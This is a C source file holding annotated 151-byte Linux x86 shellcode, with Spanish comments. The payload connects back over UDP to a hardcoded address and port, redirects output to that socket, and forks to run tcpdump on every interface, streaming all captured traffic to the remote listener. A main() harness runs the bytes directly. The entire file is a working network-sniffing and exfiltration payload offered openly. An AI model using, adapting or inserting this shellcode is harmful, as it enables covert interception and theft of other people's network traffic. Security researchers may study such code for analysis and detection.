/*
 linux/x86 connect-back port UDP/54321 & dup2 &
 fork() & execve() /usr/bin/tcpdump -iany -w- "port ! 54321"
 151 bytes
 by XenoMuta
     _  __                 __  ___      __       
    | |/ /__  ____  ____  /  |/  /_  __/ /_____ _
    |   / _ \/ __ \/ __ \/ /|_/ / / / / __/ __ `/
   /   /  __/ / / / /_/ / /  / / /_/ / /_/ /_/ / 
  /_/|_\___/_/ /_/\____/_/  /_/\__,_/\__/\__,_/  

   xenomuta [ arroba ] phreaker [ punto ] net

  http://xenomuta.tuxfamily.org/ - Methylxantina 256mg
  
 - God bless you all -

*/
unsigned char sc[] =
// <_start>:
"\x6a\x66"	 // push   $0x66 ; socketcall()
"\x58"		 // pop    %eax  ; para setear el socket 
"\x6a\x01"	 // push   $0x1  
"\x5b"		 // pop    %ebx
"\x31\xc9"	 // xor    %ecx,%ecx
"\x51"		 // push   %ecx
"\x6a\x02"	 // push   $0x2  ; SOCK_DGRAM (udp)
"\x6a\x02"	 // push   $0x2   
"\x89\xe1"	 // mov    %esp,%ecx
"\xcd\x80"	 // int    $0x80
// IP: 127.1.1.1
"\x68\x7f\x01\x01\x01"	 // push   $0x101017f
// Port: 54321
"\x66\x68\xd4\x31"	 // pushw  $0x31d4
"\x66\x31\xc9"	 // xor    %cx,%cx
"\x80\xc1\x02"	 // xadd    $0x2,%cl
"\x66\x51"	 // push   %cx
"\x89\xe1"	 // mov    %esp,%ecx
"\x6a\x10"	 // push   $0x10
"\x51"		 // push   %ecx
"\x50"		 // push   %eax
"\x89\xe1"	 // mov    %esp,%ecx
"\x89\xc6"	 // mov    %eax,%esi
"\xb0\x66"	 // mov    $0x66,%al  ; socketcall ()
"\x80\xc3\x02"	 // add    $0x2,%bl   ; para connect()
"\xcd\x80"	 // int    $0x80
"\x87\xde"	 // xchg   %ebx,%esi  
"\x6a\x01"	 // push   $0x1
"\x59"		 // pop    %ecx
"\x6a\x3f"	 // push   $0x3f      ; dup2(socket, stdout)
"\x58"		 // pop    %eax
"\xcd\x80"	 // int    $0x80
"\x31\xd2"	 // xor    %edx,%edx  
"\x6a\x02"	 // push   $0x2       ; fork()
"\x58"		 // pop    %eax
"\xcd\x80"	 // int    $0x80
"\x39\xd0"	 // cmp    %edx,%eax  ; el hijo sobrevive
"\x74\x05"	 // je     0x4d <_child>
"\x6a\x01"	 // push   $0x1       ; adios papa
"\x58"		 // pop    %eax
"\xcd\x80"	 // int    $0x80
//<_child>:
"\x6a\x0b"	 // push   $0xb    ; execve() tcpdump -iany -w- "port ! 54321"
"\x58"		 // pop    %eax    ; sniffea todo menos a mi mismo.
"\x52"		 // push   %edx
"\x68\x34\x33\x32\x31"	 // push   $0x31323334 ; "port ! 54321"
"\x68\x20\x21\x20\x35"	 // push   $0x35202120
"\x68\x70\x6f\x72\x74"	 // push   $0x74726f70
"\x89\xe7"	 // mov    %esp,%edi
"\x52"		 // push   %edx
"\x6a\x2d"	 // push   $0x2d               ; -w- ( escribe a stdout )
"\x66\x68\x2d\x77"	 // pushw  $0x772d
"\x89\xe6"	 // mov    %esp,%esi
"\x52"		 // push   %edx
"\x6a\x79"	 // push   $0x79               ; -iany (todas las interfaces )
"\x68\x2d\x69\x61\x6e"	 // push   $0x6e61692d
"\x89\xe1"	 // mov    %esp,%ecx
"\x52"		 // push   %edx
"\x6a\x70"	 // push   $0x70
"\x68\x70\x64\x75\x6d"	 // push   $0x6d756470 ; /usr/bin/tcpdump
"\x68\x6e\x2f\x74\x63"	 // push   $0x63742f6e
"\x68\x2f\x73\x62\x69"	 // push   $0x6962732f
"\x68\x2f\x75\x73\x72"	 // push   $0x7273752f
"\x89\xe3"	 // mov    %esp,%ebx
"\x52"		 // push   %edx
"\x57"		 // push   %edi
"\x56"		 // push   %esi
"\x51"		 // push   %ecx
"\x53"		 // push   %ebx
"\x89\xe1"	 // mov    %esp,%ecx
"\xcd\x80";	 // int    $0x80


main(){(*(void (*)()) sc)();}